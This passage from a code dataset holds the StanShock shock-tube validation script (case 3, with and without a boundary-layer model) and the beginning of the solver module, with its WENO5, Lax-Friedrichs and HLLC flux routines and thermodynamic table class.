"MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 12 08:52:48 2016\nThis script tests the validation test cases\n@author: kgrogan\n\"\"\"\nimport sys; sys.path.append('../../')\nfrom stanShock import stanShock, smoothingFunction, dSFdx\nimport numpy as np\nimport matplotlib as mpl\nfrom matplotlib import pyplot as plt\nimport time\nimport cantera as ct\n\ndef isFloat(value):\n '''\n function isfloat\n ==========================================================================\n hacky python way to detect floats\n ''' \n try:\n float(value)\n return True\n except ValueError:\n return False\n\ndef loadData(fileName):\n '''\n function loadData\n ==========================================================================\n This function loads the raw data contained in the csv file and initiates\n a list of dictionaries containg the data\n fileName: file name of csv data\n Return: list of dictionaries for each example\n '''\n import csv\n rawData=[]\n with open(fileName) as csvFile:\n reader = csv.DictReader(csvFile)\n for dictRow in reader:\n cleanDictRow = {key:(float(dictRow[key]) if isFloat(dictRow[key]) else dictRow[key]) for key in dictRow}\n rawData.append(cleanDictRow)\n return rawData\ndef getPressureData(fileName):\n '''\n function getPressureData\n ==========================================================================\n This function returns the formatted pressure vs time data\n Inputs:\n fileNamefile name of csv data\n Outputs: \n t = time [s]\n p = pressure [Pa]\n ''' \n rawData = loadData(fileName)\n t = np.array([example[\"Time (s)\"] for example in rawData])\n p = np.array([example[\"Pressure (atm)\"] for example in rawData])\n p *= ct.one_atm\n return (t,p)\n\n#=============================================================================\n#provided condtions for case 3\nfileName = \"case3.csv\"\nMs = 2.409616\nT1 = 292.25\np1 = 1999.83552\np2 = 13267.880629 \ntFinal=60e-3\n\n#plotting parameters\nfontsize=12\n\n#provided geometry\nDDriven = 4.5*0.0254\nDDriver = 4.5*0.0254\nLDriver = 142.0*0.0254\nLDriven = 9.73\nDOuterInsertBack = 3.375*0.0254\nDOuterInsertFront = 1.25*0.0254\nLOuterInsert = 102.0*0.0254\nDInnerInsert = 0.625*0.0254\nLInnerInsert = 117.0*0.0254\n\n#Set up gasses and determine the initial pressures\nu1 = 0.0;\nu4 = 0.0; #initially 0 velocity\nmech=\"Nitrogen.xml\"\ngas1 = ct.Solution(mech)\ngas4 = ct.Solution(mech)\nT4 = T1; #assumed\ngas1.TP = T1,p1\ngas4.TP = T4,p1 #use p1 as a place holder \ng1 = gas1.cp/gas1.cv\ng4 = gas4.cp/gas4.cv\na4oa1 = np.sqrt(g4/g1*T4/T1*gas1.mean_molecular_weight/gas4.mean_molecular_weight)\np4=p2*(1.0-(g4-1.0)/(g1+1.0)/a4oa1*(Ms-1.0/Ms))**(-2.0*g4/(g4-1.0)) #from handbook of shock waves\np4*=1.04\ngas4.TP = T4,p4 \n\n#set up geometry\nnX = 1000 #mesh resolution\nxLower = -LDriver\nxUpper = LDriven\nxShock = 0.0\ngeometry=(nX,xLower,xUpper,xShock)\nDeltaD = DDriven-DDriver\ndDOuterInsertdx=(DOuterInsertFront-DOuterInsertBack)/LOuterInsert\nDeltaSmoothingFunction = (xUpper-xLower)/float(nX)*10.0\ndef DOuter(x): return DDriven*np.ones(nX)\ndef DInner(x):\n diameter = np.zeros(nX)\n diameter+= smoothingFunction(x,xLower+LInnerInsert,DeltaSmoothingFunction,DInnerInsert,0.0)\n diameter+= smoothingFunction(x,xLower+LOuterInsert,DeltaSmoothingFunction,DOuterInsertFront-DInnerInsert,0.0)\n diameter+= smoothingFunction(x,xLower+LOuterInsert/2.0,LOuterInsert,DOuterInsertBack-DOuterInsertFront,0.0)\n return diameter\ndef dDOuterdx(x): return np.zeros(nX)\ndef dDInnerdx(x):\n dDiameterdx = np.zeros(nX)\n dDiameterdx+= dSFdx(x,xLower+LInnerInsert,DeltaSmoothingFunction,DInnerInsert,0.0)\n dDiameterdx+= dSFdx(x,xLower+LOuterInsert,DeltaSmoothingFunction,DOuterInsertFront-DInnerInsert,0.0)\n dDiameterdx+= dSFdx(x,xLower+LOuterInsert/2.0,LOuterInsert,DOuterInsertBack-DOuterInsertFront,0.0)\n return dDiameterdx\nA = lambda x: np.pi/4.0*(DOuter(x)**2.0-DInner(x)**2.0)\ndAdx = lambda x: np.pi/2.0*(DOuter(x)*dDOuterdx(x)-DInner(x)*dDInnerdx(x))\ndlnAdx = lambda x,t: dAdx(x)/A(x)\n\n#set up solver parameters\nprint(\"Solving with boundary layer terms\")\nboundaryConditions=['reflecting','reflecting']\nstate1 = (gas1,u1)\nstate4 = (gas4,u4)\nssbl = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=True,\n Tw=T1, #assume wall temperature is in thermal eq. with gas\n DInner= DInner, \n DOuter= DOuter,\n dlnAdx=dlnAdx)\nssbl.addProbe(max(ssbl.x)) #end wall probe\n\n#Solve\nt0 = time.clock()\nssbl.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#without boundary layer model\nprint(\"Solving without boundary layer model\")\nboundaryConditions=['reflecting','reflecting']\ngas1.TP = T1,p1\ngas4.TP = T4,p4 \nssnbl = stanShock(gas1,initializeRiemannProblem=(state4,state1,geometry),\n boundaryConditions=boundaryConditions, \n cfl=.9,\n outputEvery=100,\n includeBoundaryLayerTerms=False,\n DInner= DInner, \n DOuter= DOuter,\n dlnAdx=dlnAdx)\nssnbl.addProbe(max(ssnbl.x)) #end wall probe\n\n#Solve\nt0 = time.clock()\nssnbl.advanceSimulation(tFinal)\nt1 = time.clock()\nprint(\"The process took \", t1-t0)\n\n#import shock tube data\ntExp, pExp = getPressureData(fileName)\ntimeDifference = (12.211-8.10)/1000.0 #difference between the test data and simulation times\ntExp+=timeDifference\n\n#make plots of probe and XT diagrams\nplt.close(\"all\")\nmpl.rcParams['font.size']=fontsize\nplt.rc('text',usetex=True)\nplt.figure(figsize=(4,4))\nplt.plot(np.array(ssnbl.probes[0].t)*1000.0,np.array(ssnbl.probes[0].p)/1.0e5,'k',label=\"$\\mathrm{Without\\ BL\\ Model}$\",linewidth=2.0)\nplt.plot(np.array(ssbl.probes[0].t)*1000.0,np.array(ssbl.probes[0].p)/1.0e5,'r',label=\"$\\mathrm{With\\ BL\\ Model}$\",linewidth=2.0)\nplt.plot(tExp*1000.0,pExp/1.0e5,label=\"$\\mathrm{Experiment}$\",alpha=0.7)\nplt.axis([0,60,-.5,2])\nplt.xlabel(\"$t\\ [\\mathrm{ms}]$\")\nplt.ylabel(\"$p\\ [\\mathrm{bar}]$\")\nplt.legend(loc=\"lower right\")\nplt.tight_layout()" }, { "alpha_fraction": 0.4863734245300293, "alphanum_fraction": 0.5061960816383362, "avg_line_length": 46.09621810913086, "blob_id": "de12a97feca7fccd2e7225456ae7e0a48da2ee05", "content_id": "fd72748c42a10edb288526270159362de974f12e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 82229, "license_type": "no_license", "max_line_length": 174, "num_lines": 1746, "path": "/stanShock.py", "repo_name": "MinhBauLuong/StanShock", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\n#necessary modules\nimport numpy as np\nfrom numba import double, jit\nimport cantera as ct\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import root\n\n#Global variables (paramters) used by the solver\nmt=3 #number of ghost nodes\nmn=3 #number of 1D Euler equations\n\n#compiled functions: these functions employ numba to do just-in-time compilation\n##%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\ndef WENO5_python(r,u,p,Y,gamma):\n '''\n Method: WENO5\n ------------------------------------------------------------.----------\n This method implements the fifth-order WENO interpolation. This method \n follows that of Houim and Kuo (JCP2011)\n inputs:\n r=density\n u=velocity\n p=pressure\n Y=species mass fraction matrix [x,species]\n gamma=specific heat ratio\n outputs:\n ULR=a matrix of the primitive variables [LR,]\n '''\n nLR=2\n nCells = len(r)-2*mt\n nFaces = nCells+1 \n nSp= len(Y[0])\n nVar = mn+nSp-1 #excluding density\n nStencil=2*mt\n epWENO=1.0E-06\n #Cell weight (WL(i,j,k); i=left(1) or right(2) j=stencil#,k=weight#)\n W=np.empty((2,3,3))\n W[0,0,0]=0.333333333333333\n W[0,0,1]=0.833333333333333\n W[0,0,2]=-0.166666666666667\n \n W[0,1,0]=-0.166666666666667\n W[0,1,1]=0.833333333333333\n W[0,1,2]=0.333333333333333\n\n W[0,2,0]=0.333333333333333\n W[0,2,1]=-1.166666666666667\n W[0,2,2]=1.833333333333333\n \n W[1,0,0]=W[0,2,2] \n W[1,0,1]=W[0,2,1]\n W[1,0,2]=W[0,2,0]\n \n W[1,1,0]=W[0,1,2]\n W[1,1,1]=W[0,1,1]\n W[1,1,2]=W[0,1,0]\n \n W[1,2,0]=W[0,0,2]\n W[1,2,1]=W[0,0,1]\n W[1,2,2]=W[0,0,0]\n\t#Stencil Weight (i=left(1) or right(2) j=stencil#)\n D=np.empty((2,3))\n D[0,0]=0.3\n D[0,1]=0.6\n D[0,2]=0.1\n\n D[1,0]=D[0,2]\n D[1,1]=D[0,1]\n D[1,2]=D[0,0]\n #Weights for smoothness parameter\n B1 = 1.083333333333333\n B2 = 0.25 \n \n B=np.empty(mt)\n PLR=np.empty((nLR,nFaces,nVar+1)) #return array of primitives\n YAverage = np.empty(nSp)\n U = np.empty(nVar) #vector of the conservative at a face\n R=np.zeros((nVar,nVar))\n L=np.zeros((nVar,nVar))\n CStencil = np.empty((nStencil,nVar)) #all the characteristic values in the stencil\n for iFace in range(nFaces): #iterate through each cell right edge \n iCell=iFace+2 #face is on the right side of the cell\n #find the average at the face (use ordering of Houim and Kuo, JCP2011)\n rAverage=0.5*(r[iCell]+r[iCell+1])\n uAverage=0.5*(u[iCell]+u[iCell+1])\n pAverage=0.5*(p[iCell]+p[iCell+1])\n gammaAverage=0.5*(gamma[iCell]+gamma[iCell+1])\n for kSp in range(nSp): YAverage[kSp]=0.5*(Y[iCell,kSp]+Y[iCell+1,kSp])\n eAverage=pAverage/(rAverage*(gammaAverage-1.0))+0.5*uAverage**2.0\n hAverage=eAverage+pAverage/rAverage\n cAverage=np.sqrt(gammaAverage*pAverage/rAverage)\n #compute the eigenvector matrices using the face average\n #right matrix\n for i in range(nSp):\n R[i,0]=YAverage[i]\n R[i,-1]=YAverage[i]\n R[i,i+1]=1.0\n R[-2,i+1]=uAverage\n R[-1,i+1]=0.5*uAverage**2.0\n R[-2,0]=uAverage-cAverage\n R[-1,0]=hAverage-uAverage*cAverage\n R[-2,-1]=uAverage+cAverage\n R[-1,-1]=hAverage+uAverage*cAverage\n #left matrix\n gammaHat=gammaAverage-1.0\n phi=0.5*gammaHat*uAverage**2.0\n firstRowConstant=0.5*(phi+uAverage*cAverage)\n lastRowConstant=0.5*(phi-uAverage*cAverage)\n for i in range(nSp):\n for j in range(nSp): \n L[i+1,j]=-YAverage[i]*phi\n L[i+1,i]=L[i+1,i]+cAverage**2.0\n L[0,i]=firstRowConstant\n L[-1,i]=lastRowConstant\n L[i+1,-2]=YAverage[i]*gammaHat*uAverage\n L[i+1,-1]=-YAverage[i]*gammaHat\n L[0,-2]=-0.5*(gammaHat*uAverage+cAverage)\n L[-1,-2]=-0.5*(gammaHat*uAverage-cAverage)\n L[0,-1]=gammaHat/2.0\n L[-1,-1]=gammaHat/2.0 \n L/=cAverage**2.0\n for iVar in range(nVar):\n for iStencil in range(nStencil):\n iCellStencil=iStencil-2+iCell\n #compute the conservative variables\n for kSp in range(nSp): U[kSp]=r[iCellStencil]*Y[iCellStencil,kSp]\n U[-2]=r[iCellStencil]*u[iCellStencil]\n U[-1]=p[iCellStencil]/(gammaAverage-1.0)+0.5*r[iCellStencil]*u[iCellStencil]**2.0\n #compute the characteristic variables in the stencil\n CStencil[iStencil,iVar]=0.0\n for jVar in range(nVar): \n CStencil[iStencil,iVar]+=L[iVar,jVar]*U[jVar]\n #perform the WENO interpolation in the characteristic variables\n for N in range(nLR): #!left edge and right edge\n for iVar in range(nVar): U[iVar]=0.0\n for iVar in range(nVar):\n NO =N+2 #!offset index\n #Find smoothness parameters \t\n B[0]=B1*(CStencil[0+NO,iVar]-2.0*CStencil[1+NO,iVar]+CStencil[2+NO,iVar])**2.0+B2*(3.0*CStencil[0+NO,iVar]-4.0*CStencil[1+NO,iVar]+CStencil[2+NO,iVar])**2\n B[1]=B1*(CStencil[-1+NO,iVar]-2.0*CStencil[0+NO,iVar]+CStencil[1+NO,iVar])**2.0+B2*(CStencil[-1+NO,iVar]-CStencil[1+NO,iVar])**2\n B[2]=B1*(CStencil[-2+NO,iVar]-2.0*CStencil[-1+NO,iVar]+CStencil[0+NO,iVar])**2.0+B2*(CStencil[-2+NO,iVar]-4.0*CStencil[-1+NO,iVar]+3.0*CStencil[0+NO,iVar])**2\n #Find the interpolated values at the cell edges\n ATOT = 0.0\n CW=0.0\n for iStencil in range(mt): #iterate through each stencil\n iStencilO=NO-iStencil #offset iStencil index\t\t\n CINT=W[N,iStencil,0]*CStencil[0+iStencilO,iVar]+W[N,iStencil,1]*CStencil[1+iStencilO,iVar]+W[N,iStencil,2]*CStencil[2+iStencilO,iVar]\n A=D[N,iStencil]/((epWENO+B[iStencil])**2)\n ATOT+=A\n CW+=CINT*A\n CiVar=CW/ATOT\n #compute the conservative vector using the eigenvector matrix\n for jVar in range(nVar): U[jVar]+=R[jVar,iVar]*CiVar\n rLR=0.0\n for kSp in range(nSp): rLR+=U[kSp]\n uLR=U[-2]/rLR\n eLR=U[-1]/rLR\n pLR=rLR*(gammaAverage-1.0)*(eLR-0.5*uLR**2.0)\n #fill primitive matrix in the following order (r,u,p,Y)\n PLR[N,iFace,0]=rLR\n PLR[N,iFace,1]=uLR\n PLR[N,iFace,2]=pLR\n for kSp in range(nSp): PLR[N,iFace,kSp+mn]=U[kSp]/rLR\n #apply first order interpolation at boundaries\n for N in range(nLR):\n for iFace in range(mt):\n iCell=iFace+2\n PLR[N,iFace,0]=r[iCell+N]\n PLR[N,iFace,1]=u[iCell+N]\n PLR[N,iFace,2]=p[iCell+N]\n for kSp in range(nSp): PLR[N,iFace,kSp+mn]=Y[iCell+N,kSp]\n for iFace in range(nFaces-mt,nFaces):\n iCell=iFace+2\n PLR[N,iFace,0]=r[iCell+N]\n PLR[N,iFace,1]=u[iCell+N]\n PLR[N,iFace,2]=p[iCell+N]\n for kSp in range(nSp): PLR[N,iFace,kSp+mn]=Y[iCell+N,kSp]\n #create primitive matrix\n P = np.zeros((nCells+2*mt,nVar+1))\n P[:,0] = r[:]\n P[:,1] = u[:]\n P[:,2] = p[:]\n P[:,mn:] = Y[:,:]\n #apply limiter\n alpha=2.0\n threshold=1e-6\n epsilon=1.0e-15\n for N in range(nLR):\n for iFace in range(nFaces):\n for iVar in range(nVar+1):\n iCell=iFace+2+N\n iCellm1 = iCell-1+2*N\n iCellp1 = iCell+1-2*N\n iCellm2 = iCell-2+4*N\n iCellp2 = iCell+2-4*N\n #check the error threshold for smooth regions\n error=abs((-P[iCellm2,iVar]+4.0*P[iCellm1,iVar]+4.0*P[iCellp1,iVar]-P[iCellp2,iVar]+epsilon)/(6.0*P[iCell,iVar]+epsilon)-1.0)\n if error < threshold: continue\n #compute limiter\n if P[iCell,iVar] != P[iCellm1,iVar]:\n phi=min(alpha,alpha*(P[iCellp1,iVar]-P[iCell,iVar])/(P[iCell,iVar]-P[iCellm1,iVar]))\n phi=min(phi,2.0*(PLR[N,iFace,iVar]-P[iCell,iVar])/(P[iCell,iVar]-P[iCellm1,iVar]))\n phi=max(0.0,phi)\n else: phi=alpha\n #apply limiter\n PLR[N,iFace,iVar]=P[iCell,iVar]+0.5*phi*(P[iCell,iVar]-P[iCellm1,iVar])\n return PLR\nWENO5 = jit(double[:,:,:] (double[:],double[:],double[:],double[:,:],double[:])) (WENO5_python)\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\ndef LF_python(rLR,uLR,pLR,YLR,gamma):\n '''\n Method: LF\n ------------------------------------------------------------.----------\n This method computes the flux at each interface\n inputs:\n rLR=array containing left and right density states [nLR,nFaces]\n uLR=array containing left and right velocity states [nLR,nFaces]\n pLR=array containing left and right pressure states [nLR,nFaces]\n YLR=array containing left and right species mass fraction states\n [nLR,nFaces,nSp]\n gamma= array containing the specific heat [nFaces]\n return:\n F=modeled Euler fluxes [nFaces,mn+nSp]\n '''\n nLR=len(rLR)\n nFaces = len(rLR[0])\n nSp=YLR[0].shape[1]\n nDim=mn+nSp\n \n #find the maximum wave speed\n lambdaMax=0.0\n for iFace in range(nFaces):\n a=max(np.sqrt(gamma[iFace]*pLR[0,iFace]/rLR[0,iFace]),np.sqrt(gamma[iFace]*pLR[1,iFace]/rLR[1,iFace]))\n u=max(abs(uLR[0,iFace]),abs(uLR[1,iFace]))\n lambdaMax=max(lambdaMax,u+a)\n lambdaMax*=0.9\n #find the regular flux\n FLR=np.empty((2,nFaces,nDim))\n for K in range(nLR):\n for iFace in range(nFaces):\n FLR[K,iFace,0]=rLR[K,iFace]*uLR[K,iFace]\n FLR[K,iFace,1]=rLR[K,iFace]*uLR[K,iFace]**2.0+pLR[K,iFace]\n FLR[K,iFace,2]=uLR[K,iFace]*(gamma[iFace]/(gamma[iFace]-1)*pLR[K,iFace]+0.5*rLR[K,iFace]*uLR[K,iFace]**2.0)\n for kSp in range(nSp): FLR[K,iFace,mn+kSp]=rLR[K,iFace]*uLR[K,iFace]*YLR[K,iFace,kSp]\n \n #compute the modeled flux\n F=np.empty((nFaces,mn+nSp))\n U=np.empty((nLR,mn+nSp))\n for iFace in range(nFaces):\n for K in range(nLR):\n U[K,0]=rLR[K,iFace]\n U[K,1]=rLR[K,iFace]*uLR[K,iFace]\n U[K,2]=pLR[K,iFace]/(gamma[iFace]-1.0)+0.5*rLR[K,iFace]*uLR[K,iFace]**2.0\n for kSp in range(nSp): U[K,mn+kSp]=rLR[K,iFace]*YLR[K,iFace,kSp]\n for iDim in range(nDim): \n FBar=0.5*(FLR[0,iFace,iDim]+FLR[1,iFace,iDim])\n F[iFace,iDim]=FBar-0.5*lambdaMax*(U[1,iDim]-U[0,iDim])\n return F\nLF = jit(double[:,:] (double[:,:], double[:,:],double[:,:], double[:,:,:],double[:])) (LF_python)\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\ndef HLLC_python(rLR,uLR,pLR,YLR,gamma):\n '''\n Method: HLLC\n ------------------------------------------------------------.----------\n This method computes the flux at each interface\n inputs:\n rLR=array containing left and right density states [nLR,nFaces]\n uLR=array containing left and right velocity states [nLR,nFaces]\n pLR=array containing left and right pressure states [nLR,nFaces]\n YLR=array containing left and right species mass fraction states\n [nLR,nFaces,nSp]\n gamma= array containing the specific heat [nFaces]\n return:\n F=modeled Euler fluxes [nFaces,mn+nSp]\n '''\n nLR=len(rLR)\n nFaces = len(rLR[0])\n nSp=YLR[0].shape[1]\n nDim=mn+nSp\n \n #compute the wave speeds\n aLR=np.empty((2,nFaces))\n qLR=np.empty((2,nFaces))\n SLR=np.empty((2,nFaces))\n SStar=np.empty(nFaces)\n for iFace in range(nFaces):\n aLR[0,iFace]= np.sqrt(gamma[iFace]*pLR[0,iFace]/rLR[0,iFace])\n aLR[1,iFace]= np.sqrt(gamma[iFace]*pLR[1,iFace]/rLR[1,iFace])\n aBar=0.5*(aLR[0,iFace]+aLR[1,iFace]) \n pBar=0.5*(pLR[0,iFace]+pLR[1,iFace])\n rBar=0.5*(rLR[0,iFace]+rLR[1,iFace])\n pPVRS=pBar-0.5*(uLR[1,iFace]-uLR[0,iFace])*rBar*aBar\n pStar=max(0.0,pPVRS)\n qLR[0,iFace] = np.sqrt(1.0+(gamma[iFace]+1.0)/(2.0*gamma[iFace])*(pStar/pLR[0,iFace]-1.0)) if pStar>pLR[0,iFace] else 1.0 \n qLR[1,iFace] = np.sqrt(1.0+(gamma[iFace]+1.0)/(2.0*gamma[iFace])*(pStar/pLR[1,iFace]-1.0)) if pStar>pLR[1,iFace] else 1.0\n SLR[0,iFace] = uLR[0,iFace]-aLR[0,iFace]*qLR[0,iFace]\n SLR[1,iFace] = uLR[1,iFace]+aLR[1,iFace]*qLR[1,iFace]\n SStar[iFace] = pLR[1,iFace]-pLR[0,iFace]\n SStar[iFace]+= rLR[0,iFace]*uLR[0,iFace]*(SLR[0,iFace]-uLR[0,iFace])\n SStar[iFace]-= rLR[1,iFace]*uLR[1,iFace]*(SLR[1,iFace]-uLR[1,iFace])\n SStar[iFace]/= rLR[0,iFace]*(SLR[0,iFace]-uLR[0,iFace])-rLR[1,iFace]*(SLR[1,iFace]-uLR[1,iFace])\n \n #find the regular flux\n FLR=np.empty((2,nFaces,nDim))\n for K in range(nLR):\n for iFace in range(nFaces):\n FLR[K,iFace,0]=rLR[K,iFace]*uLR[K,iFace]\n FLR[K,iFace,1]=rLR[K,iFace]*uLR[K,iFace]**2.0+pLR[K,iFace]\n FLR[K,iFace,2]=uLR[K,iFace]*(gamma[iFace]/(gamma[iFace]-1)*pLR[K,iFace]+0.5*rLR[K,iFace]*uLR[K,iFace]**2.0)\n for kSp in range(nSp): FLR[K,iFace,3+kSp]=rLR[K,iFace]*uLR[K,iFace]*YLR[K,iFace,kSp]\n \n #compute the modeled flux\n F=np.empty((nFaces,mn+nSp))\n U=np.empty(mn+nSp)\n UStar=np.empty(mn+nSp)\n YFace=np.empty(nSp)\n for iFace in range(nFaces):\n if 0.0<=SLR[0,iFace]:\n for iDim in range(nDim): F[iFace,iDim]=FLR[0,iFace,iDim]\n elif 0.0>=SLR[1,iFace]:\n for iDim in range(nDim): F[iFace,iDim]=FLR[1,iFace,iDim]\n else:\n SStarFace=SStar[iFace]\n K=0 if 0.0<=SStarFace else 1\n rFace=rLR[K,iFace]\n uFace=uLR[K,iFace]\n pFace=pLR[K,iFace]\n for kSp in range(nSp): YFace[kSp]=YLR[K,iFace,kSp]\n gammaFace=gamma[iFace]\n SFace=SLR[K,iFace]\n #conservative variable vector\n U[0]=rFace\n U[1]=rFace*uFace\n U[2]=pFace/(gammaFace-1.0)+0.5*rFace*uFace**2.0\n for kSp in range(nSp): U[mn+kSp]=rFace*YFace[kSp]\n #star conservative variable vector\n prefactor=rFace*(SFace-uFace)/(SFace-SStarFace)\n UStar[0]=prefactor\n UStar[1]=prefactor*SStarFace\n UStar[2]=prefactor*(U[2]/rFace+(SStarFace-uFace)*(SStarFace+pFace/(rFace*(SFace-uFace))))\n for iSp in range(nSp): UStar[mn+iSp]=prefactor*YFace[iSp]\n #flux update\n for iDim in range(nDim): F[iFace,iDim]=FLR[K,iFace,iDim]+SFace*(UStar[iDim]-U[iDim])\n \n return F\nHLLC = jit(double[:,:] (double[:,:], double[:,:],double[:,:], double[:,:,:],double[:])) (HLLC_python)\n##############################################################################\ndef getR_python(Y,molecularWeights):\n '''\n function: getR_python\n --------------------------------------------------------------------------\n Function used by the thermoTable class to find the gas constant. This \n function is compiled for speed-up.\n inputs: \n Y: species mass fraction [nX,nSp]\n molecularWeights: species molecular weights [nSp]\n output:\n R: gas constants [nX]\n '''\n #find dimensions\n nX = len(Y[:,0])\n nSp = len(Y[0,:])\n #determine R\n R = np.zeros(nX)\n for iX in range(nX):\n molecularWeight=0.0\n for iSp in range(nSp): molecularWeight+=Y[iX,iSp]/molecularWeights[iSp]\n molecularWeight=1.0/molecularWeight\n R[iX] = ct.gas_constant/molecularWeight\n return R\ngetR = jit(double[:] (double[:,:],double[:])) (getR_python)\n##############################################################################\ndef getCp_python(T,Y,TTable,a,b):\n '''\n function: getCp_python\n --------------------------------------------------------------------------\n Function used by the thermoTable class to find the constant pressure \n specific heats. This function is compiled for speed-up.\n inputs:\n T: Temperatures [nX]\n Y: species mass fraction [nX,nSp]\n TTable: table of temperatures [nT]\n a: first order coefficient for cp [nT]\n b: zeroth order coefficient for cp [nT]\n output:\n cp: constant pressure specific heat ratios [nX]\n '''\n #find dimensions\n nX = len(Y[:,0])\n nSp = len(Y[0,:])\n #find table extremes\n TMin = TTable[0];\n dT = TTable[1]-TTable[0] #assume constant steps in table\n TMax = TTable[-1]+dT\n #determine the indices\n indices = np.zeros(nX,dtype=int)\n for iX in range(nX): indices[iX] = int((T[iX]-TMin)/dT)\n #determine cp\n cp = np.zeros(nX)\n for iX in range(nX):\n if (T[iX]<TMin) or (T[iX]>TMax): raise Exception(\"Temperature not within table\")\n index = indices[iX]\n bbar=0.0\n for iSp in range(nSp):\n bbar += Y[iX,iSp]*(a[index,iSp]/2.0*(T[iX]+TTable[index])+b[index,iSp])\n cp[iX]=bbar\n return cp\ngetCp = jit(double[:] (double[:],double[:,:],double[:],double[:],double[:])) (getCp_python)\n##############################################################################\nclass thermoTable(object):\n '''\n Class: thermoTable\n --------------------------------------------------------------------------\n This is a class defined to encapsulate the temperature table with the \n relevant methods\n '''\n def __init__(self,gas):\n '''\n Method: __init__\n --------------------------------------------------------------------------\n This method initializes the temperature table. The table uses a\n piecewise linear function for the constant pressure specific heat \n coefficients. The coefficients are selected to retain the exact \n enthalpies at the table points.\n '''\n nSp = gas.n_species\n self.TMin=50.0\n self.dT=100.0\n self.TMax=9950.0\n self.T = np.arange(self.TMin,self.TMax,self.dT) #vector of temperatures assuming thermal equilibrium between species\n nT = len(self.T)\n self.h = np.zeros((nT,nSp)) #matrix of species enthalpies per temperature\n #cpk = ak*T+bk for T in [Tk,Tk+1], k in {0,1,2,...,nT-1}\n self.a = np.zeros((nT,nSp)) #matrix of species first order coefficients\n self.b = np.zeros((nT,nSp)) #matrix of species zeroth order coefficients\n self.molecularWeights = gas.molecular_weights\n #determine the coefficients\n for kSp, species in enumerate(gas.species()):\n #initialize with actual cp\n cpk = species.thermo.cp(self.T[0])/self.molecularWeights[kSp] \n hk = species.thermo.h(self.T[0])/self.molecularWeights[kSp] \n for kT, Tk in enumerate(self.T):\n #compute next\n Tkp1 = Tk+self.dT\n hkp1=species.thermo.h(Tkp1)/self.molecularWeights[kSp]\n dh = hkp1-hk\n #store\n self.h[kT,kSp]=hk\n self.a[kT,kSp]=2.0/self.dT*(dh/self.dT-cpk)\n self.b[kT,kSp]=cpk-self.a[kT,kSp]*Tk\n #update\n cpk = self.a[kT,kSp]*(Tkp1)+self.b[kT,kSp]\n hk = hkp1\n##############################################################################\n def getR(self,Y):\n '''\n Method: getR \n --------------------------------------------------------------------------\n This method computes the mixture-specific gas constat\n inputs:\n Y: matrix of mass fractions [n,nSp]\n outputs:\n R: vector of mixture-specific gas constants [n]\n '''\n return getR(Y,self.molecularWeights)\n##############################################################################\n def getCp(self,T,Y):\n '''\n Method: getCp \n --------------------------------------------------------------------------\n This method computes the constant pressure specific heat as determined\n by Billet and Abgrall (2003) for the double flux method.\n inputs:\n T: vector of temperatures [n]\n Y: matrix of mass fractions [n,nSp]\n outputs:\n cp: vector of constant pressure specific heats\n '''\n return getCp(T,Y,self.T,self.a,self.b)\n##############################################################################\n def getH0(self,T,Y):\n '''\n Method: getH0 \n --------------------------------------------------------------------------\n This method computes the enthalpy according to Billet and Abgrall (2003).\n This is the enthalpy that is frozen over the time step\n inputs:\n T: vector of temperatures [n]\n Y: matrix of mass fractions [n,nSp]\n outputs:\n cp: vector of constant pressure specific heats\n '''\n if any(np.logical_or(T<self.TMin,T>self.TMax)): raise Exception(\"Temperature not within table\") \n nT = len(T)\n indices = [int((Tk-self.TMin)/self.dT) for Tk in T]\n h0 = np.zeros(nT)\n for k, index in enumerate(indices):\n bbar = self.a[index,:]/2.0*(T[k]+self.T[index])+self.b[index,:]\n h0[k]=np.dot(Y[k,:],self.h[index]-bbar*self.T[index])\n return h0\n ##############################################################################\n def getGamma(self,T,Y):\n '''\n Method: getGamma \n --------------------------------------------------------------------------\n This method computes the specific heat ratio, gamma.\n inputs:\n T: vector of temperatures [n]\n Y: matrix of mass fractions [n,nSp]\n outputs:\n gamma: vector of specific heat ratios\n '''\n cp = self.getCp(T,Y)\n R = self.getR(Y)\n gamma = cp/(cp-R)\n return gamma\n ##############################################################################\n def getTemperature(self,r,p,Y):\n '''\n Method: getTemperature \n --------------------------------------------------------------------------\n This method applies the ideal gas law to compute the temperature\n inputs:\n r: vector of densities [n]\n p: vector of pressures [n]\n Y: matrix of mass fractions [n,nSp]\n outputs:\n T: vector of temperatures\n '''\n R = self.getR(Y)\n return p/(r*R) \n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\ndef smoothingFunction(x,xShock,Delta,phiLeft,phiRight):\n '''\n Function: smoothingFunction\n ----------------------------------------------------------------------\n This helper function returns the function of the variable smoothed\n over the interface\n inputs:\n x = numpy array of cell centers\n phiLeft = the value of the variable on the left side\n phiRight = the value of the variable on the right side\n xShock = the mean of the shock location\n '''\n dphidx = (phiRight-phiLeft)/Delta\n phi = (phiLeft+phiRight)/2.0+dphidx*(x-xShock)\n phi[x<(xShock-Delta/2.0)]=phiLeft\n phi[x>(xShock+Delta/2.0)]=phiRight\n return phi\n#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\ndef dSFdx(x,xShock,Delta,phiLeft,phiRight):\n '''\n Function: dSFdx\n ----------------------------------------------------------------------\n This helper function returns the derivative of the smoothing function\n inputs:\n x = numpy array of cell centers\n phiLeft = the value of the variable on the left side\n phiRight = the value of the variable on the right side\n xShock = the mean of the shock location\n '''\n dphidx = 